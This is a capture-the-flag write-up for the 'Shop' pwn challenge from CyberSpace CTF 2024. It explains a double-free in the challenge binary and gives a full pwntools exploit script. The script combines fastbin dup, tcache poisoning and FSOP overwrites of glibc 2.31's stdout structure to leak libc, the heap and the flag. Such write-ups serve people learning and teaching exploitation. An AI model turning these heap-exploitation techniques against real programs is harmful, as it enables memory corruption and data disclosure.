# CyberSpace CTF 2024 WRITEUP - PWN/Shop
## Reverse


Since IDA tells "analysis failed", I will patch the program and rename the function to make it easier to analyze.

---
```main()```:

---
```save_flag_to_heap()``` or ```sub_12A8()```:

The function ```sub_12A8()``` reads the flag into a buffer on the heap
---
```print_menu()``` or ```sub_1365()```:

---
```buy_pet()```:

Let's examine, this function is quite simple. It will allocate memory, save pointer and size into ```pets_list``` and ```size_list```. The ```check_size(size-1)``` limits the size we want to allocate, less than ```0x1501```. It also limits the maximum number of allocations (32 slots)
---
```edit_name()``` or ```sub_1523()```:

---
```refund()``` or ```sub_15F6()```:

Just read the index of the chunk and free.
---
## Vulnerability
In ```refund()```, the pointer is not set to NULL after the heap chunk is freed -> **Double Free vulnerability**.
But, this program does not have any option to print out data.
---
## Exploit
```Glibc version 2.31```
Our goal: Leak the base address of libc -> Leak the base address of heap -> Leak the flag in the heap
---
The first step is to obtain the address of libc, you can do this by creating a big chunk (chunk size > 0x410 bytes to insert it to unsorted bin instead of tcachebin when free) and then freeing it. Now its forward pointer and backward pointer will point to unsorted bin.
```python=1
for i in range(7):
buy_pet(r, 0x70-8) #index from 0...6
buy_pet(r, 0xc0-8) # index 7
buy_pet(r, 0x70-8) # index 8
buy_pet(r, 0x70-8) # index 9
buy_pet(r, 0x500-8) # index 10
buy_pet(r, 0x20-8) # index 11 (avoid consolitating with top chunk)
refund(r, 10) #index 10 is now FREE (this chunk is now in unsortedbin)
buy_pet(r, 0x70-8) # index 10 - contains address of libc
buy_pet(r, 0x490-8) # index 12
```
We note that the chunk at index 10 will contain the address of the libc that will be used later.
---
We will perform the **fastbin dup** because the fastbin double-free check only ensures that a chunk being freed into a fastbin is not already the first chunk in that bin.
Fill up tcache first
```python=14
for i in range(7):
refund(r, i) # fill up tcache size of 0x70
# index from 0...6 are now FREE
```
Perform
```python=17
refund(r, 9) # index 9 is now free
refund(r, 8) # index 8 is now free
refund(r, 9) #fastbin dup
#fastbin size 0x70 -> 9 -> 8 -> 9
# malloc from tcache bin
for i in range(7):
buy_pet(r, 0x70-8) #index from 0...6
```
Fastbin with size 0x70 will have 3 available chunks
```python=25
buy_pet(r, 0x70-8) # index 8
```
After the first malloc from fastbin, the 2 remaining chunks in fastbin will be dumped to tcachebin with corresponding size. This is called "Tcache dumping".
Image from ```HeapLab - GLIBC Heap Exploitation - Max Kamper```

---> **Tcache poisoning** (tricking malloc into returning a pointer to an arbitrary location) -> **Arbitrary write**
Read more: [Glibc 2.31 - Tcache poisoning](https://github.com/shellphish/how2heap/blob/master/glibc_2.31/tcache_poisoning.c)
**Once we have an arbitrary write, where do we write?**
While learning about FSOP (File Stream Oriented Programming), I learned how to achieve ```arbitrary reads``` by overwriting the ```_IO_2_1_stdout_``` structure.
More details: [@kyr04i - FSOP attack](https://hackmd.io/@kyr04i/SkF_A-fnn#3-LEAK-LIBC-VIA-_IO_FILE-READ-PRIMITIVE) and [Play with FILE structure - Angelboy](https://repository.root-me.org/Exploitation%20-%20Syst%C3%A8me/EN%20-%20Play%20with%20FILE%20Structure%20-%20Yet%20Another%20Binary%20Exploit%20Technique%20-%20An-Jie%20Yang.pdf)
```C
struct _IO_FILE
{
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
/* The following pointers correspond to the C++ streambuf protocol. */
char *_IO_read_ptr; /* Current read pointer */
char *_IO_read_end; /* End of get area. */
char *_IO_read_base; /* Start of putback+get area. */
char *_IO_write_base; /* Start of put area. */
char *_IO_write_ptr; /* Current put pointer. */
char *_IO_write_end; /* End of put area. */
char *_IO_buf_base; /* Start of reserve area. */
char *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
__off_t _old_offset; /* This used to be _offset but it's too small. */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
```
We will overwrite ```_flags = _IO_IS_APPENDING | _IO_CURRENTLY_PUTTING | _IO_MAGIC = 0xfbad1800``` along with ```_IO_write_base``` (in ```_IO_2_1_stdout_```) to the appropriate values so that when the ```puts()``` is called. The data between ```_IO_write_base``` and ```_IO_write_ptr``` will be printed out.
Flowchart of ```puts()``` (From **@kyr04i**) after bypassing the checks:
```C
puts(str)
|_ _IO_new_file_xsputn (stdout, str, len)
|_ _IO_new_file_overflow (stdout, EOF)
|_ new_do_write(stdout, stdout->_IO_write_base, stdout->_IO_write_ptr - stdout->_IO_write_base)
|_ _IO_new_file_write(stdout, stdout->_IO_write_base, stdout->_IO_write_ptr - stdout->_IO_write_base)
|_ write(stdout->fileno, stdout->_IO_write_base, stdout->_IO_write_ptr - stdout->_IO_write_base)
```
---
Back to our script, tcache bin (size 0x70) now has 2 available chunks. Lets take it out
```python=26
buy_pet(r, 0x70-8) # index 9
buy_pet(r, 0x70-8) # index 13
# index 8 = index 13
```
Now we have 2 pointers pointing to the same chunk (index 8 and 13)

Because of the [patch](https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f), i will perform Tcache poisoning like this:
```python=30
refund(r, 0) # index 0 is now FREE
refund(r, 9) # index 9 is now FREE
refund(r, 8) # index 8 is now FREE
#tcache [size 0x70] -> 8 -> 9 -> 0
```

```python=34
edit_name(r, 13, b"\xf0")
```

```offset of _IO_2_1_stdout_ = 0x1ed6a0```
```offset in chunk 0x55ea894b57f0 = 0x1ed010```
```python=35
buy_pet(r, 0x70-8) # index 0
edit_name(r, 10, b"\xa0\xc6") # guessing right here
```

Note that we only know the 3rd Least significant nibble (address of ```_IO_2_1_stdout_```) is ```0x6a0``` (based on offset) and we "don't know" what the next nibble is. So we have to guess (I will guess ```0xc```), the probability of us guessing correctly is ```1/16```

If we guess wrong, it can cause Segmentation fault. Try it again!
If we guess correctly, we will be able to overwrite ```_IO_2_1_stdout_```!
---
Let's examine ```_IO_2_1_stdout_```:

Our goal is to override ```_flags``` and ```_IO_write_base``` so that the program prints out the data between ```_IO_write_base``` and ```_IO_write_ptr``` when ```puts()``` is triggered. Since we don't know the ```libc``` address, we should override the least significant byte of ```_IO_write_base``` to a value < ```0x23```
```_IO_write_base = 0x7fde2429c723```

Looking at address ```0x7fde2429c708```, we see that it is storing an address belonging to ```libc```. So we will overwrite the least significant byte of ```_IO_write_base``` to ```0x08```. So when ```puts()``` is called, the data between ```0x7fde2429c708``` and ```0x7fde2429c723``` will be printed out.
```python=37
buy_pet(r, 0x70-8) # index 8
buy_pet(r, 0x70-8) # index 9 - IMPORTANT
flag = 0xfbad1800
payload = p64(flag) + p64(0)*3 + b"\x08"
edit_name(r, 9, payload)
print("[*] SUCCESS!")
libc.address = u64(test[:6] + b"\x00\x00")-0x1ec980
print("[*] libc: ", hex(libc.address))
unsorted_bin = libc.address+0x1ecbf0
```

We have successfully leaked libc!!
The next step will be to leak the base address of heap.
---
We will leak the base address of heap by leaking data from ```main_arena``` using the same technique to leak the address of ```libc```
Image from ```HeapLab - GLIBC Heap Exploitation - Max Kamper```

It contains a lot of useful information, top chunk address,...
I will leak unsorted bins forward pointer, you can leak the address of top chunk if you want ^^
```python=49
# Leak heap
buy_pet(r, 0x500-8) # index 14
buy_pet(r, 0x18) # index 15
refund(r, 14) #
flag = 0xfbad1800
payload = p64(flag) + p64(0)*3
payload += p64(unsorted_bin) # write_base
payload += p64(unsorted_bin+6) # write_ptr
payload += p64(unsorted_bin+6)*2
payload += p64(unsorted_bin+6+1)
edit_name(r, 9, payload)
heap_leak = u64(r.recv(6) + b"\x00"*2) - 0xd00
print("[*]heap: ", hex(heap_leak))
```
I don't want this else if block to be executed so I'll leave ```_IO_write_end = _IO_write_ptr```
```C
size_t
_IO_new_file_xsputn (FILE *f, const void *data, size_t n)
{
...
else if (f->_IO_write_end > f->_IO_write_ptr)
count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */
/* Then fill the buffer. */
if (count > 0)
{
if (count > to_do)
count = to_do;
f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
s += count;
to_do -= count;
}
...
}
libc_hidden_ver (_IO_new_file_xsputn, _IO_file_xsputn)
```

We have leaked the heap address. Finally, calculate the address where the ```flag``` is stored and use ```FSOP``` again to print it out.
```python=69
# lets print the flag!!!
target = heap_leak+0x308
flag = 0xfbad1800
payload = p64(flag) + p64(0)*3
payload += p64(target) # write_base
payload += p64(target+0x40) # write_ptr
payload += p64(target+0x40)*2
payload += p64(target+0x40+1)
edit_name(r, 9, payload)
r.interactive()
```
```
CSCTF{26f8aa2b094cc646137e7da9778584d1}
```

### Script
```python=
#!/usr/bin/env python3
from pwn import *
exe = ELF("./chall_patched")
libc = ELF("./libc-2.31.so")
ld = ELF("./ld-2.31.so")
context.binary = exe
DEBUG = 0
if args.LOCAL:
#r = process([exe.path])
if DEBUG:
gdb.attach(r, gdbscript='''
start
''')
else:
#r = remote("shop.challs.csc.tf", 1337)
print()
def buy_pet(r, size):
r.sendlineafter(b"> ", b"1")
r.sendlineafter(b"How much? ", f"{size}".encode())
def edit_name(r, index, payload):
r.sendlineafter(b"> ", b"2")
r.sendlineafter(b"Index: ", f"{index}".encode())
r.sendafter(b"Name: ", payload)
def refund(r, index):
r.sendlineafter(b"> ", b"3")
r.sendlineafter(b"Index: ", f"{index}".encode())
def main():
while True:
r = process([exe.path]) # for local
#r = remote("shop.challs.csc.tf", 1337) # for remote
for i in range(7):
buy_pet(r, 0x70-8) #index from 0...6
buy_pet(r, 0xc0-8) # index 7
buy_pet(r, 0x70-8) # index 8
buy_pet(r, 0x70-8) # index 9
buy_pet(r, 0x500-8) # index 10
buy_pet(r, 0x20-8) # index 11 (avoid consolitating with top chunk)
refund(r, 10) #index 10 is now FREE
buy_pet(r, 0x70-8) # index 10 - contains address of libc
buy_pet(r, 0x490-8) # index 12
for i in range(7):
refund(r, i) # fill up tcache size of 0x70
# index from 0...6 are now FREE
refund(r, 9) # index 9 is now free
refund(r, 8) # index 8 is now free
refund(r, 9) #fastbin dup
#fastbin size 0x70 -> 9 -> 8 -> 9
# malloc from tcache bin
for i in range(7):
buy_pet(r, 0x70-8) #index from 0...6
#r.interactive()
buy_pet(r, 0x70-8) # index 8
buy_pet(r, 0x70-8) # index 9
buy_pet(r, 0x70-8) # index 13
# index 8 = index 13
refund(r, 0) # index 0 is now FREE
refund(r, 9) # index 9 is now FREE
refund(r, 8) # index 8 is now FREE
#tcache [size 0x70] -> 8 -> 9 -> 0
edit_name(r, 13, b"\xf0")
buy_pet(r, 0x70-8) # index 0
try:
edit_name(r, 10, b"\xa0\xc6")
buy_pet(r, 0x70-8) # index 8
buy_pet(r, 0x70-8) # index 9 - IMPORTANT
flag = 0xfbad1800
payload = p64(flag) + p64(0)*3 + b"\x08"
edit_name(r, 9, payload)
except EOFError:
print('[*] fail')
r.close()
continue
test = r.recv(20)
if len(test) <= 5:
r.close()
continue
if (test[5] >> 4) != 7:
r.close()
continue
print("[*] SUCCESS!")
libc.address = u64(test[:6] + b"\x00\x00")-0x1ec980
print("[*] libc: ", hex(libc.address))
unsorted_bin = libc.address+0x1ecbf0
# Leak heap
buy_pet(r, 0x500-8) # index 14
buy_pet(r, 0x18) # index 15
refund(r, 14) #
flag = 0xfbad1800
payload = p64(flag) + p64(0)*3
payload += p64(unsorted_bin) # write_base
payload += p64(unsorted_bin+6) # write_ptr
payload += p64(unsorted_bin+6)*2
payload += p64(unsorted_bin+6+1)
edit_name(r, 9, payload)
heap_leak = u64(r.recv(6) + b"\x00"*2) - 0xd00
print("[*]heap: ", hex(heap_leak))
#gdb.attach(r, gdbscript='''
# start
# ''')
# lets print the flag!!!
target = heap_leak+0x308
flag = 0xfbad1800
payload = p64(flag) + p64(0)*3
payload += p64(target) # write_base
payload += p64(target+0x40) # write_ptr
payload += p64(target+0x40)*2
payload += p64(target+0x40+1)
edit_name(r, 9, payload)
# CSCTF{26f8aa2b094cc646137e7da9778584d1}
# good luck pwning :)
r.interactive()
if __name__ == "__main__":
main()
```
## Similar challenge
[pwnable.tw - Heap Paradise](https://pwnable.tw/challenge/#35)
## References
[https://hackmd.io/@kyr04i/SkF_A-fnn](https://hackmd.io/@kyr04i/SkF_A-fnn)
[Play with FILE Structure - Yet Another Binary Exploit Technique - Angelboy](https://repository.root-me.org/Exploitation%20-%20Syst%C3%A8me/EN%20-%20Play%20with%20FILE%20Structure%20-%20Yet%20Another%20Binary%20Exploit%20Technique%20-%20An-Jie%20Yang.pdf)
[https://hackmd.io/@wxrdnx/r1CXaFHdv#Heap-Paradise](https://hackmd.io/@wxrdnx/r1CXaFHdv#Heap-Paradise)
HeapLab - GLIBC Heap Exploitation - Max Kamper
[how2heap - Glibc_2.31](https://github.com/shellphish/how2heap/tree/master/glibc_2.31)
[https://elixir.bootlin.com/glibc/glibc-2.31/source/](https://elixir.bootlin.com/glibc/glibc-2.31/source/)